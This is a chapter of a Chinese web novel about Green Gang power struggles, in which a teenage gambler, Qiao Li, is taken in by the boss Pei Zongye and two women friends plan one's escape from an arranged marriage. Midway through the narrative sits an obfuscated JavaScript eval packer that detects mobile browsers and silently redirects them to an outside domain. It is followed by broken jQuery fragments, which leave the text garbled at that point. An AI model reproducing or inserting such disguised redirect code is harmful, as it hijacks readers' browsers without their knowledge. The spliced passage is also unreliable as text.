观音诞后，酷暑甚盛，一天天晒得人抬不起头来，偏偏道上又飘着些好让人心凉的消息，身热心冷，让人好不煎熬。


    其中一条传的全海市皆知：三年前因伤“封山门”的青帮达字辈大董裴宗邺，重新开香堂收了一批门徒。


    这条消息之所以这么重要，是因为海市人或许会忘记市长是谁，却绝不会不知道裴宗邺、林锦镛和姚月荣这三个名字。他们成名虽分前后，但如今在海市皖地一带，可说是无人不知无人不晓。


    新历第四年的下半年，实在发生了很多事。海市这块巴掌大小的地方，因其地理与政治的特殊地位，革命推翻旧朝、元氏登台之后，渐次平定不过两年，便又阴云密布、纷争频起。


    青帮、洪门与哥佬会分据一方，明争暗斗，而其中以青帮势力最盛。青帮三位大董鼎足而立，势成三分：林锦镛年纪最长，根基最稳，手段也最黑，暗里行事从不手软；裴宗邺辈分极高，苏北出身，素来与地方军阀交情深厚，江北土匪无不卖他三分薄面；最年轻的姚月荣则为人圆滑狡黠，胆大妄为，借着法租界洋人撑腰，迅速崛起，与两位前辈分庭抗礼。


    这三人性格手段各异，彼此长短处互相制衡，发家致富的手段都远远算不上干净。


    其中只有裴宗邺严禁手下势力参与买卖烟土毒品，还执意在美租界打击林锦镛的人牙生意，因为目的分歧，裴林二人实在针锋相对了一段时间，直到裴宗邺车祸、双腿皆废，不得不暂时蛰伏沉寂。


    姚月荣便在这段时间与林锦镛通力合作，三鑫公司日进斗金，分赃法租界警察，正式站稳青帮第三人的地位。


    当年裴宗邺带人清扫苏北至公共租界的人牙买卖，救得不少家庭免于骨肉离散，至今许多平民家庭还感念他的恩义。这次他开香堂收徒事情传得这么盛，也昭示着裴派势力彻底重回海市青帮的斗争中心，所有裴派拥趸，当然要铆足劲替他宣传。


    这当然是一件不得了的大事，其中更不得了的，是裴大董竟然专门为一得意门徒，广邀青帮重要人物，筹备开办大香堂，旨在将人正式纳入裴派势力的骨干圈子中。


    而这个门徒，居然是个女人。


    说起来，青帮也有不少女门徒，十分出名的便有糖业领袖之妻史春雨，同林锦镛的媳妇陈香是结拜七姐妹之一，七人全是林党中赫赫有名脸甜手黑的铁娘子，但多少都与帮中骨干有血缘姻亲关系，才加入帮派。


    像这位孤零零一个因被赏识而邀入青帮的女人，的确很是罕见。按照常理，此时早该有人风传此人与裴大董之间或许有某种不清不白的关系。的确有，却只是不入流的少数，盖因她实在做了一件极重要极威风的事，递过一张分量十足的投名状，足够证明自己——


    裴派的新门徒乔璃，年未十八，独自挑上林锦镛其下第一大赌场富盛达，一路赌赢，连林派第一看门狗黑狻猊的命也被赌进去，输在她手里。


    丢了这么大一个丑，你富盛达还好意思在赌界争锋？就算好意思，裴宗邺手下之人也不会放过这个打压的好机会。起码三年五载，有头有脸的大人物都不会选择富盛达作为享乐的消遣地。


    乔璃拜入小香堂是三日前的事，过了大香堂，她就正式成为青帮“通”字辈，裴大董亲口承认的骨干之一了。


    圆明兴礼，达通悟觉。青帮的二十四字派，传承到新历，已是最后八字。现在海市青帮之中，“礼”字辈仅有几个花甲之年的老人，如姚月荣一流的，甚至没有经过正式拜香堂的过程，已落到“觉”字辈一流。


    裴宗邺辈分高，拜他为师的乔璃，自然也有了个名正言顺的好身份。且他举办香堂还有一个好处：裴宗邺当年成名，有一条就是他极擅背帮规。从起源、传说到入帮仪式与誓词歌表，堪称青帮活字典。江浙一带的青帮众人，想要正式开香堂，多来向裴宗邺请教。


    宋缪吉听孟彩霞念了这些，不觉头都大了。


    哪怕是至交好友这么说，她对乔璃还是半信不信：“十六岁的小姑娘，去攀裴大董的高枝，我已经觉得很可笑了。你现在同我说，她不是攀高枝，而是被对面尊尊敬敬请过去的，这……”


    孟彩霞搅了搅面前加了甜奶油的咖啡，轻啜一口：“不信的话，你为什么不自己派人打听一下呢？”


    伏夏的天，到了下午，就溢出被蒸腾一日的酷热，窗帘拉紧也不行，只能敞开前厅后院的窗门通风散热。宋缪吉揩揩额前的汗，脑子还是有些乱乱的：“如果真和你说的一样……乔小姐是位厉害人物，我肯定比不上的。”


    “她不只是厉害。”孟彩霞放下咖啡杯，惯常温和的表情中有些刺目的讥诮，那是她在家人前绝不会表现出来的情绪。“我知道你还没懂，所以特地请你来当面谈事。她当时与我商议时我不懂为何非得如此冒险，后来才想明白，这正是成事的唯一途径。”


    宋缪吉正色：“你说。”


    孟彩霞斟酌了一会儿，想着想着不由得发出一声长叹：“你看，她是女人啊。”


    “女人，我们。长得不美，却肯低眉顺眼的，男人定要拿来做奴隶；有几分姿色，却没脑子的，往往沦为欲望的牲畜；既有美貌，又有主见能力的，偏被唤作‘蛇蝎女人’；只有一类能叫他们避之不及——那就是疯子。”


    “幸好，乔璃不是装出来的疯子，她就是个疯子。我帮她跳火坑，不至于心怀愧疚。”


    宋缪吉听得发怔，心里一股劲难受起来，绞着手里的帕子：“彩霞……你叫我来，说这件事，究竟为什么？”


    “乔璃去给裴大董做事，不能当个光杆司令，青帮有人给她，她自然也要有得力的自己人。我帮她的条件之一，就是举荐你。”


    宋缪吉糊里糊涂的：“你要我去青帮？可我手无缚鸡之力，从来没学过打人呀。”


    本在皱眉的女人忽然笑了，一笑，圆脸盘儿上两个酒窝格外明显：“缪吉呀，我在把你往火坑里推，你就想问这个？”


    宋缪吉一向信任孟彩霞，肯定道：“你不会做这种事的。”


    孟彩霞按捺不住眼底的热意，用帕子掩饰地擦汗，柔声道：“谁叫你去打人？谁会怕你？我把你荐给乔璃，是看中只有你掌握的本事。你以前在江宁女子文理学院，数学不是次次第一？我和她一提，她很高兴呢。”


    “啊！”宋缪吉明白了，“后面我家还请了洋老师教我会计与经济，可这有什么用？”


    “怎么没用？有大用了，乔璃要让裴派势力从黑转白，就要与实业家银行家打交道，就缺你这种人才。”


    宋缪吉一愣：“可你不是比我还厉害吗？”


    孟彩霞一脸温柔地看着她，轻轻道：“缪吉，我已经怀孕了。头胎怀孕为人母，就连爷爷也不会支持我日日东奔西跑。”


    宋缪吉的手被她握住，柔软的、有一块被马缰绳磨出的茧子的手。


    “你不是觉得继母荐的婚事不满意，又不知怎么逃婚么？与乔璃合作，拜入青帮，等你站稳脚跟，你家里谁也不配把握你的婚事。”


    过去父母之命大过天，如今已是新历，女人也能有一条窄路可走，只要拥有权势，天怎么就不能破？


    宋缪吉胸口堵着，眼睛里一滴一滴掉下泪，痴痴地看着好友：“好！那你——你呢？”


    “我？”孟彩霞被她哭得，还以为在进行什么生离死别，笑得脸上酒窝更深了些，“我好得很，徐振东近日又升了职，在交通银行当副行长。生孩子虽然麻烦，可之后我叫他配合点什么，也更有底气。”


    她这么多朋友中，谁不是适应了理想与现实的差距？就宋缪吉最倔，想要学以致用，不想结婚生子，一力扛着相亲，日日跟父亲继母打仗。孟彩霞放心不下她，有一个机会，对她来说，该就是个新的开始。


    再有一点，她更不想举荐和家族牵扯太多的人。


    思绪回转，孟彩霞笑眯眯地问好友：“所以你是答应了？”


    “你这样为我着想，我要是不答应，岂不是大笨蛋？”


    “你要是笨，那可能真不行。”孟彩霞不知从哪里变出一叠纸张，“喏，这是我让徐振东带回来的，和外汇、融资与股票有关的资料，好好读，等乔璃过了大香堂，你也要走马上任去工作啦。”


    宋缪吉翻起那些资料，看着曲线图，由衷地笑起来：“天啊，你是我的大救星！终于不用看相亲簿……彩霞你看，Wall Street，我听过这个地方！”


    女子们的笑声漾起来，漾动了晚夏的日光。


    ------------------------------------------------------


    乔璃和裴宗邺的关系，或许并不如旁人想象的一样，只有纯粹的利益交易。


    如果真清白无暇，那么一连三天去裴公馆，现在更是坐在书房柔软的波斯地毯里、靠着裴宗邺小腿看书的乔璃，又该怎么解释两人的姿势呢？


    但仅看此时，两人之间的气氛居然很是安和平静，毫无暧昧之感。


    裴宗邺原本在读手下人定期交付的记录，看着看着，视线就不由自主被吸引到乔璃手边的两摞书：早上只有一摞，到了下午，她读完的大部头们就已经比未读过的还要高了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972079|172195||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只看她不停翻页的动作，一点儿都不像读进什么，倒像恶作剧。


    窗外阳光很好，书房采光充足，就未开灯。自然的光线照在她还有些瘦韧的脖颈上，白皙的皮肤晕出一抹清润。


    “青龙带来的那孩子，叫什么来着？”他挪开眼，忽然自言自语道。


    “雁儿。”乔璃换了一本书：“你半小时前才和我说过。”


    裴宗邺“哦”了一声：“原来你在听我说话。”


    翻书页的动作顿了一顿，乔璃抬眼对上他：“裴先生觉得无聊了？”


    他无奈低慨：“我不无聊，只是你这三天，除了议事，就是看书，倒显得裴公馆待客不周，让你觉得无聊。”


    乔璃收起双腿，拿下巴抵着膝盖，莞尔一笑：“怎么会。我小时候一旦没事做，就去公共的图书馆找书看。有时负责清扫的没发现有人还躲在里面就锁门，只好在图书馆过夜了。所以看书对我来说，是无聊的反义词。”


    裴宗邺眉头一皱：“看书过夜。无人找你？”


    乔璃摇头：“我双亲早就不在了。”


    这几天，她拜香堂，在男人堆里交际，喝酒，游刃有余，一点也不需要裴宗邺的特殊关照，谁也想不到她胳膊还有处新鲜枪伤。对比孟玉龙只比她小两岁的妹妹，那可是一点人世风雨都没沾过的温室娇花朵。


    一个团子大点的小女孩，没吃没喝无人管，孤零零坐着翻书的样子，裴宗邺猝不及防被想象的画面扫了一下，一时没去追究有些地方是不对劲的。


    “您这里为什么又有这么多书？不止书房有书柜，我看有人时不时从别的屋子拿书出来晒。”


    她手里托着书，眼睛却不再看了，黝黑的瞳孔仔细盯着他的脸。


    女人与男人之间的对话，某种意义上像玩抛接球，她有意无意抛出一点真实，去钓他的过往。


    裴宗邺觉得很有意思，也意外她会察觉到这一点：“我最开始来沪，是在沪西。沪西的贫民窟里，聚的最多的，是我的苏北同胞。出卖苦力血汗，只能换一间破草棚，两条木长凳。”


    “想在青帮混，师承辈分、帮派地位和江湖口碑，缺一不可。后来我能发迹，多亏漕运脚力的苏北同胞支持。有了钱，就得做点什么。三年前，我是想在沪西办学校的。”


    万般皆下品，惟有读书高。办学校，书自然也要搜罗得多一些，只是因为这样那样的原因，最后没能成。


    他的声音很低，很温和地去讲述曾经安排得很仔细的计划，话里没有一丝丝自夸与骄傲，反倒有一抹乡愁。


    身旁人看他的目光也含了一种敬佩，敬佩他在这乱世中还存留的一份侠义与不折的筋骨。


    乔璃欲言又止。


    裴宗邺早看出她近日的好几次欲言又止，只是太有耐心，等她自己说出。


    “裴先生，我……”她忽然咬住下唇，手攥紧了，眼睫微颤，“我不做事的时候，还能回去读书么？”


    这实在是一个贪婪的请求，踏入青帮本就是加入一个混乱而危险的蜂团，不全心去争便没有结果，她却无避忌地请求——还能回去读书么？


    裴宗邺看着她隐在眉眼中的紧张，看着看着就笑出来，灰而阴骘的眼里也有笑意。总是冷峻凶悍的神情，面对她时，好像总多一分柔和。


    他没有直接回答，反倒按了一下呼人进来的铃，似乎有人在外等很久了，脚步沉重地往上走，推开书房门。


    青龙一手提着只黑皮箱，一手拖着一个人。他身板高大，天生奇力，铁塔一般伫立在门口，简直要塞满一堵门。


    而他面对裴宗邺时，表情永远是发自内心的忠谨恭敬的。


    被他拖着的人，乔璃认识，是曾经把主意打到她身上的唐昕。唐公子此刻全身都脏得要命，像在泥里滚过几圈儿，头破血流，只剩进气没有出气。


    黑皮箱打开，里面的东西也让人不陌生——直晃人眼的冷冷金光，反射自整齐码放着的一尺来长的十两大黄鱼，每一根上都刻着“中夏银行”印记，如压缩凝固的阳光。


    乔璃震惊地看向裴宗邺。他的眼里依然含笑，神色却很沉，那是一种成熟男人才养得住的稳，稳得仿佛什么都无法动摇他的胸有成竹。


    “富盛达赌场的交易，还未结清。你不提，我却不能当没这回事。散数不好看，我做主替你凑了个整，一共五万银元，这箱子里不足一半。开大香堂前，余款必交付到你手里。”


    语气转向唐昕，裴宗邺眼底忽然深了一层：“至于这个……勉强算个添头罢。能逗乔小姐一笑，就是他最大的价值了。”